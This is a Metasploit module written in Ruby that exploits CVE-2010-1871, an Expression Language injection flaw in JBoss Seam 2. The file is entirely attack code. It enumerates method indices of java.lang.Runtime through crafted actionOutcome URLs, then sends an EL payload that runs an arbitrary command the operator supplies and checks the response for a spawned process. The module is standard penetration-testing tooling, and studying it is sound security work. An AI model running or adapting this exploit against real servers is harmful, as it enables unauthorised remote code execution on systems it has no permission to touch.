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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Exploit::Remote::HttpClient
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'JBoss Seam 2 Remote Command Execution',
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        'Description' => %q{
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          JBoss Seam 2 (jboss-seam2), as used in JBoss Enterprise Application Platform
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          4.3.0 for Red Hat Linux, does not properly sanitize inputs for JBoss Expression
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          Language (EL) expressions, which allows remote attackers to execute arbitrary code
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          via a crafted URL. This modules also has been tested successfully against IBM
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          WebSphere 6.1 running on iSeries.
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          NOTE: this is only a vulnerability when the Java Security Manager is not properly
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          configured.
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        },
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        'Author' => [
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          'guerrino di massa', # Metasploit module
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          'Cristiano Maruti <cmaruti[at]gmail.com>' # Support for IBM Websphere 6.1
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        ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          [ 'CVE', '2010-1871' ],
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          [ 'OSVDB', '66881']
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        ],
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        'DisclosureDate' => '2010-07-19'
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      )
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    )
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    register_options(
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      [
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        Opt::RPORT(8080),
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        OptString.new('TARGETURI', [ true, 'Target URI', '/seam-booking/home.seam']),
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        OptString.new('CMD', [ true, 'The command to execute.'])
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      ]
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    )
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  end
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  def run
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    uri = normalize_uri(target_uri.to_s)
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    cmd_enc = ''
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    cmd_enc << Rex::Text.uri_encode(datastore['CMD'])
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    flag_found_one = 255
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    flag_found_two = 255
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    uri_part_1 = "?actionOutcome=/pwn.xhtml?pwned%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()["
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    uri_part_2 = "].invoke(expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()["
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    uri_part_3 = "].invoke(null),'"
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    25.times do |index|
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      req = uri + uri_part_1 + index.to_s + ']}'
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      res = send_request_cgi(
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        {
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          'uri' => req,
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          'method' => 'GET'
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        }, 20
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      )
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      if (res && res.headers['Location'] =~ (/java.lang.Runtime.exec%28java.lang.String%29/))
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        flag_found_one = index
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        print_status('Found right index at [' + index.to_s + '] - exec')
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      elsif (res && res.headers['Location'] =~ (/java.lang.Runtime\+java.lang.Runtime.getRuntime/))
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        print_status('Found right index at [' + index.to_s + '] - getRuntime')
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        flag_found_two = index
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      else
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        print_status('Index [' + index.to_s + ']')
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      end
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    end
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    if (flag_found_one != 255 && flag_found_two != 255)
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      print_status('Target appears VULNERABLE!')
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      print_status('Sending remote command:' + datastore['CMD'])
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      req = uri + uri_part_1 + flag_found_one.to_s + uri_part_2 + flag_found_two.to_s + uri_part_3 + cmd_enc + "')}"
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      res = send_request_cgi(
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        {
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          'uri' => req,
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          'method' => 'GET'
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        }, 20
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      )
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      if (res && res.headers['Location'] =~ (/pwned=java.lang.UNIXProcess/))
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        print_good('Exploited successfully')
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      else
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        print_error('Exploit failed')
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      end
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    else
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      print_error('Target appears not vulnerable!')
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    end
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  end
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end
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